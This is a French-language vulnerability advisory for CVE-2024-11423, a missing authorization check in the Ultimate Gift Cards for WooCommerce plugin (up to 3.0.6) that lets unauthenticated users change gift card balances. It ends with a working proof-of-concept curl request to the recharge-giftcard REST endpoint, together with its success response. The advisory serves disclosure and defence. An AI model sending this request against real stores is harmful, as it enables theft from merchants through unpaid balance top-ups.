CVE-2024-11423

Ultimate Gift Cards for WooCommerce <= 3.0.6 - Absence d'autorisation menant à une faille d'argent infini

Description

Le plugin Ultimate Gift Cards for WooCommerce – Créer des cartes cadeaux WooCommerce, des bons cadeaux, échanger et gérer des coupons cadeaux numériques. Offrir des certificats cadeaux, planifier des cartes cadeaux et utiliser des coupons avancés avec des modèles personnalisés – pour WordPress est vulnérable à une modification non autorisée des données en raison d'un contrôle de capacités manquant sur plusieurs points de terminaison de l'API REST, tels que /wp-json/gifting/recharge-giftcard, dans toutes les versions jusqu'à la 3.0.6 incluse. Cela permet à des attaquants non authentifiés de recharger le solde d'une carte cadeau, sans effectuer de paiement, ainsi que de réduire les soldes de cartes cadeaux sans rien acheter.

Détails

• Type: plugin
• Slug: woo-gift-cards-lite
• Version affectée: 3.0.6
• Score CVSS: 7.5
• Niveau CVSS: Élevé
• Vecteur CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
• CVE: CVE-2024-11423
• Statut: Actif

POC

curl -X POST \
  https://wp-dev.ddev.site/wp-json/gifting/recharge-giftcard \
  -H 'Content-Type: application/json' \
  -d '{"coupon_code": "CUQP4C9M", "recharge_amount": "100.00", "coupon_expiry": "2027-12-31", "usage_limit": "511"}'


{"code":"success","message":"Coupon is successfully Recharged","data":{"status":200,"remaining_amount":120,"discount_type":"fixed_cart","usage_count":0,"usage_limit":"511","description":"","coupon_expiry":"2027-12-31"}}